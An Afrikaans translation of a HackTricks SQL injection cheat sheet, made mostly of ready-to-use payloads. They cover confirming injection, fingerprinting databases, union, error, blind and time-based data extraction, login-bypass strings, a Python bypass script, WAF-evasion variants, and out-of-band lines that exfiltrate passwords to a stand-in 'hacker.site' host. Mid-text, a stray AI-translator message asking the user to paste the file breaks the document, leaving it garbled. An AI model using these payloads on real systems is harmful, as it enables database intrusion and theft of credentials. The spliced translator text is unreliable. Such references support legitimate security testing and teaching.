SQL Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is SQL injection?
’n SQL injection is ’n sekuriteitsgebrek wat aanvallers in staat stel om met databasisnavrae van ’n toepassing te inmeng. Hierdie kwesbaarheid kan aanvallers in staat stel om data waartoe hulle nie behoort toegang te hê nie te bekyk, wysig, of verwyder, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang het. Sulke aksies kan permanente veranderinge aan die toepassing se funksionaliteit of inhoud veroorsaak, of selfs die kompromittering van die server of denial of service.
Opsporing van ingangspunte
Wanneer ’n webwerf skyn vatbaar vir SQL injection (SQLi) te wees as gevolg van ongewone serverreaksies op SQLi-verwante insette, is die eerste stap om te verstaan hoe om data in die navraag te injekteer sonder om dit te ontwrig. Dit vereis die identifisering van die metode om effektief uit die huidige konteks te ontsnap. Hier volg ’n paar nuttige voorbeelde:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Dan moet jy weet hoe om die query te regstel sodat daar geen foute is nie. Om die query reg te stel kan jy input data sodat die previous query die new data aanvaar, of jy kan net jou data input en ’n comment symbol aan die einde byvoeg.
Let wel: as jy foutboodskappe kan sien of jy verskille kan raaksien tussen wanneer ‘n query’ werk en wanneer dit nie werk nie, sal hierdie fase makliker wees.
Kommentaar
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Bevestiging met logiese operasies
’n Betroubare metode om ’n SQL injection kwesbaarheid te bevestig behels die uitvoer van ’n logiese operasie en die waarneming van die verwagte uitkomste. Byvoorbeeld, ’n GET-parameter soos ?username=Peter wat identiese inhoud gee wanneer dit verander word na ?username=Peter' or '1'='1 dui op ’n SQL injection kwesbaarheid.
Net so dien die toepassing van matematiese bewerkings as ’n effektiewe bevestigingstegniek. Byvoorbeeld, as toegang tot ?id=1 en ?id=2-1 dieselfde resultaat lewer, dui dit op ’n SQL injection.
Voorbeelde wat die bevestiging met logiese operasies demonstreer:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Hierdie woordlys is geskep om te probeer bevestig SQLinjections op die voorgestelde wyse:
Ware SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Bevestiging deur tydsmeting
In sommige gevalle sal jy nie ’n verandering opmerk nie op die bladsy wat jy toets. Daarom is ’n goeie manier om blind SQL injections te ontdek om die DB aksies te laat uitvoer wat ’n invloed op die tyd sal hê wat die bladsy nodig het om te laai.
Daarom gaan ons concat in die SQL-query ’n operasie plaas wat baie tyd sal neem om te voltooi:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
In sommige gevalle sal die sleep functions nie toegelaat word nie. Dan, in plaas daarvan om daardie funksies te gebruik, kan jy die query komplekse operasies uitvoer wat ’n paar sekondes sal neem. Voorbeelde van hierdie tegnieke sal apart per tegnologie gekommenteer word (indien van toepassing).
Identifisering van die Back-end
Die beste manier om die Back-end te identifiseer, is om te probeer om funksies van die verskillende Back-ends uit te voer. Jy kan die sleep functions van die vorige afdeling gebruik, of hierdie (tabel van payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Ook, as jy toegang tot die uitvoer van die query het, kan jy dit die databasisweergawe laat vertoon.
Tip
As vervolg gaan ons verskillende metodes bespreek om verskillende tipes SQL Injection uit te buit. Ons sal MySQL as voorbeeld gebruik.
Identifisering met PortSwigger
SQL injection cheat sheet | Web Security Academy
Uitbuiting van Union Based
Opsporing van die aantal kolomme
As jy die uitvoer van die query kan sien, is dit die beste manier om dit uit te buit. Eerstens moet ons uitvind die aantal kolomme wat die initial request terugstuur. Dit is omdat albei queries dieselfde aantal kolomme moet teruggee.
Gewoonlik word twee metodes vir hierdie doel gebruik:
Order/Group by
Om die aantal kolomme in ’n query te bepaal, verhoog stelselmatig die nommer wat in ORDER BY of GROUP BY klousules gebruik word totdat ’n foutiewe reaksie ontvang word. Ondanks die verskillende funksies van GROUP BY en ORDER BY in SQL, kan albei op dieselfde wyse gebruik word om die query se kolomnommer te bepaal.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Select meer en meer null values totdat die query korrek is:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Jy moet null-waardes gebruik aangesien in sommige gevalle die tipe van die kolomme aan beide kante van die query dieselfde moet wees en null in alle gevalle geldig is.
Onttrek databasisname, tabelname en kolomname
In die volgende voorbeelde gaan ons die name van al die databasisse, die tabelname van ’n databasis en die kolomname van die tabel onttrek:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Daar is ’n ander manier om hierdie data in elke verskillende databasis te ontdek, maar dit is altyd dieselfde metodologie.
Uitbuiting van Verborgen Union Based
Wanneer die output van ’n query sigbaar is, maar ’n union-based injection onbereikbaar lyk, dui dit op die bestaan van ’n verborgen union-based injection. Hierdie scenario lei dikwels tot ’n blind injection situasie. Om ’n blind injection in ’n union-based een te omskep, moet die uitvoering-query op die backend ontleed word.
Dit kan bereik word deur blind injection-tegnieke te gebruik tesame met die standaardtabelle wat spesifiek is vir jou teiken databestuurstelsel (DBMS). Om hierdie standaardtabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken-DBMS te raadpleeg.
Sodra die query onttrek is, is dit nodig om jou payload aan te pas om die oorspronklike query veilig te sluit. Daarna word ’n union query by jou payload gevoeg, wat die uitbuiting van die nuwe toeganklike union-based injection moontlik maak.
Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by Healing Blind Injections.
Uitbuiting van Error based
As jy om enige rede nie die output van die query kan sien nie, maar wel die error messages, kan jy hierdie error messages gebruik om data uit die databasis te ex-filtrate.
Deur ’n soortgelyke vloei as by die Union Based exploitation te volg, kan jy daarin slaag om die DB te dump.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Uitbuiting van Blind SQLi
In hierdie geval kan jy nie die resultate van die query of die foute sien nie, maar jy kan onderskei wanneer die query return ’n true of ’n false response omdat daar verskillende inhoud op die bladsy is.
In hierdie geval kan jy daardie gedrag misbruik om die database char by char te dump:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Dit is die dieselfde geval as voorheen maar in plaas daarvan om te onderskei tussen ’n true/false response van die query, kan jy onderskei tussen ’n fout in die SQL query of nie (miskien omdat die HTTP server crash). Daarom kan jy in hierdie geval ’n SQLerror forceer elke keer as jy die char reg raai:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
In hierdie geval is daar geen manier om die response van die query op grond van die konteks van die bladsy te onderskei. Maar jy kan veroorsaak dat die bladsy langer neem om te laai as die geraaisde karakter korrek is. Ons het hierdie tegniek reeds voorheen in gebruik gesien om confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Jy kan stacked queries gebruik om meerdere navrae agtereenvolgens uit te voer. Neem kennis dat alhoewel die daaropvolgende navrae uitgevoer word, die resultate nie aan die toepassing teruggegee word nie. Daarom is hierdie tegniek hoofsaaklik nuttig in verband met blind vulnerabilities, waar jy ’n tweede navraag kan gebruik om ’n DNS lookup, ’n voorwaardelike fout, of ’n tydvertraging te veroorsaak.
Oracle ondersteun nie stacked queries nie. MySQL, Microsoft en PostgreSQL ondersteun dit: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
As no-other exploitation method worked, kan jy probeer om die database ex-filtrate die inligting na ’n external host wat deur jou beheer word, te laat stuur. Byvoorbeeld, via DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Out of band data exfiltration via XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Geautomatiseerde Uitbuiting
Kyk na die SQLMap Cheatsheet om ’n SQLi-kwesbaarheid met sqlmap uit te buit.
Tegnologie-spesifieke inligting
Ons het reeds al die maniere bespreek om ’n SQL Injection-kwesbaarheid uit te buit. Vind nog truuks wat van die databasis-tegnologie afhanklik is in hierdie boek:
Of jy sal ’n groot aantal truuks rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Lys om te probeer bypass die login funksionaliteit:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Hierdie query toon ’n kwesbaarheid wanneer MD5 met true vir raw output in authentication checks gebruik word, wat die stelsel vatbaar maak vir SQL injection. Aanvallers kan dit misbruik deur insette te vervaardig wat, wanneer gehash, onverwagte SQL-opdragdele produseer en lei tot ongemagtigde toegang.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Aanbevole lys:
Jy moet elke reël van die lys as gebruikersnaam gebruik en as wagwoord altyd: Pass1234.
(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)
GBK Authentication Bypass
As ’ ontsnap word kan jy %A8%27 gebruik, en wanneer ’ ontsnap word sal dit geskep word: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python-skrip:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Wysig wagwoord van bestaande object/gebruiker
Om dit te doen moet jy probeer om ’n nuwe object te skep met dieselfde naam as die “master object” (waarskynlik admin in die geval van gebruikers) deur iets te wysig:
- Create user named: AdMIn (hoof- & kleinletters)
- Create a user named: admin=
- SQL Truncation Attack (wanneer daar ’n soort lengtebeperking in die username of email is) –> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
As die database kwesbaar is en die maksimum aantal karakters vir username byvoorbeeld 30 is en jy wil die gebruiker admin naboots, probeer om ’n username te skep met die naam: “admin [30 spaces] a” en enige password.
Die database sal die ingevoegde username kontroleer om te sien of dit in die database bestaan. As dit nie bestaan nie, sal dit die username sny tot by die maksimum toegelate aantal karakters (in hierdie geval na: “admin [25 spaces]”) en daarna sal dit outomaties alle spasies aan die einde verwyder en die gebruiker “admin” in die database bywerk met die nieuwe password (sommige foutmeldings kan verskyn, maar dit beteken nie noodwendig dat dit nie gewerk het nie).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Voeg soveel ','','' by as wat nodig is om die VALUES statement te verlaat. As die delay uitgevoer word, het jy ’n SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Die ON DUPLICATE KEY UPDATE klousule in MySQL word gebruik om te spesifiseer watter aksies die databasis moet uitvoer wanneer ’n poging gemaak word om ’n ry in te voeg wat tot ’n duplikaatwaarde in ’n UNIQUE index of PRIMARY KEY sou lei. Die volgende voorbeeld demonstreer hoe hierdie funksie uitgebuit kan word om die wagwoord van ’n administrateurrekening te verander:
Voorbeeld Payload Injection:
An injection payload might be crafted as follows, where two rows are attempted to be inserted into the users table. The first row is a decoy, and the second row targets an existing administrator’s email with the intention of updating the password:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Hier is hoe dit werk:
- Die query probeer twee rye invoeg: een vir
generic_user@example.comen nog een viradmin_generic@example.com. - As die ry vir
admin_generic@example.comreeds bestaan, word dieON DUPLICATE KEY UPDATEclausule geaktiveer en beveel MySQL om diepasswordveld van die bestaande ry op “bcrypt_hash_of_newpassword” by te werk. - Gevolglik kan outentisering probeer word met
admin_generic@example.comen die wagwoord wat ooreenstem met die bcrypt-hash (“bcrypt_hash_of_newpassword” verteenwoordig die nuwe wagwoord se bcrypt-hash, en moet vervang word met die werklike hash van die gewenste wagwoord).
Inligting onttrek
Skep 2 rekeninge terselfdertyd
Wanneer jy probeer om ’n nuwe gebruiker te skep, is username, password en email nodig:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Gebruik desimaal of heksadesimaal
Met hierdie tegniek kan jy inligting onttrek deur slegs 1 rekening te skep. Dit is belangrik om daarop te let dat jy niks hoef te kommentaar te lewer nie.
Gebruik hex2dec en substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Here are simple ways to get the file contents — run one of these and paste the output here so I can translate it:
Local filesystem (Linux/macOS):
- cat src/pentesting-web/sql-injection/README.md
- sed -n ‘1,200p’ src/pentesting-web/sql-injection/README.md
- bat src/pentesting-web/sql-injection/README.md (if bat installed)
Git (show file from a commit/branch):
- git show HEAD:src/pentesting-web/sql-injection/README.md
- git show origin/main:src/pentesting-web/sql-injection/README.md
Raw from GitHub (replace USER/REPO/BRANCH):
- curl -s https://raw.githubusercontent.com/USER/REPO/BRANCH/src/pentesting-web/sql-injection/README.md
Windows PowerShell:
- Get-Content -Raw .\src\pentesting-web\sql-injection\README.md
Paste the file content here (or the output) and I will translate it to Afrikaans using the rules you gave.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Gebruik hex en replace (en substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection is ’n situasie waarin die injectable query nie die een is wat output gee nie, maar die output van die injectable query na die query gaan wat output gee. (From Paper)
Voorbeeld:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
Aanvanklike bypasses hiervandaan
Geen spasies bypass
Geen spasie (%20) - bypass wat witruimte-alternatiewe gebruik
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass deur kommentaar te gebruik
?id=1/*comment*/and/**/1=1/**/--
Geen witspasie - omseiling deur gebruik van hakies
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass deur gebruik te maak van OFFSET, FROM en JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generiese Bypasses
Blacklist deur sleutelwoorde te gebruik - bypass deur hoofletters/kleinletters te gebruik
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Swartlys gebruik sleutelwoorde ongevoelig vir hoof-/kleinletters - omseil deur ’n ekwivalente operator te gebruik
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Wetenskaplike notasie WAF-omseiling
Jy kan ’n meer diepgaande verduideliking van hierdie truuk in die gosecure blog.
Basies kan jy wetenskaplike notasie op onverwagte maniere gebruik om die WAF te omseil:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Om kolomname-beperking te omseil
Eerstens, let daarop dat as die oorspronklike query en die tabel waarvandaan jy die flag wil uittrek dieselfde aantal kolomme het jy net kan doen: 0 UNION SELECT * FROM flag
Dit is moontlik om toegang tot die derde kolom van ’n tabel te kry sonder om sy naam te gebruik met ’n query soos die volgende: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, dus in ’n sqlinjection sou dit so lyk:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Of deur ’n comma bypass te gebruik:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Hierdie truuk is geneem vanaf https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
As gebruikersinvoer aan die SELECT-lys of tabel/kolom-identifiseerders gekoppel word, help prepared statements nie omdat bind parameters slegs waardes beskerm, nie identifiseerders nie. ’n Algemene kwesbare patroon is:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Uitbuiting-idee: injekteer ’n subquery in die veldposisie om willekeurige data te exfiltrate:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Aantekeninge:
- Dit werk selfs wanneer die WHERE clause ’n bound parameter gebruik, omdat die identifier list steeds string-concatenated is.
- Sommige stacks laat jou verder toe om die table name te beheer (tablename injection), wat cross-table reads moontlik maak.
- Output sinks kan die geselekteerde waarde in HTML/JSON weerspieël, wat XSS of token exfiltration direk vanaf die response moontlik maak.
Mitigasies:
- Moet nooit identifiers vanaf user input concatenate nie. Map allowed column names na ’n vaste allow-list en quote identifiers behoorlik.
- As dinamiese table access benodig word, beperk dit tot ’n eindige stel en los dit server-side op vanaf ’n veilige mapping.
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
Some frameworks convert structured filter ASTs into raw SQL boolean fragments (e.g., metadata filters or JSON predicates) and then string-concatenate those fragments into larger queries. If the converter wraps string values as '%s' without escaping, a single quote in user input terminates the literal and the rest is parsed as SQL.
Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → gedekodeer: ' OR '1'='1 → predikaat word:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-based SQLi (PDO limitation)
Prepared statements kan nie identifikatore bind nie (kolom- of tabelname). ’n Algemene onveilige patroon is om ’n deur die gebruiker beheerde sort-parameter te neem en ORDER BY te bou deur string-konkatenering, soms die inset in backticks te plaas om dit te “skoonmaak”. Dit maak steeds SQLi moontlik omdat die identifikator-konteks deur die aanvaller beheer word.
Vulnerable pattern:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
Tekens in verkeer:
- Sort-parameter in POST (dikwels
sort=column), nie ’n vaste allow-list nie. - Om
sortte verander breek die query of verander die uitvoerorde.
WAF bypass-aanbeveler gereedskap
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
Ander Gidse
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force opsporingslys
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
Verwysings
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


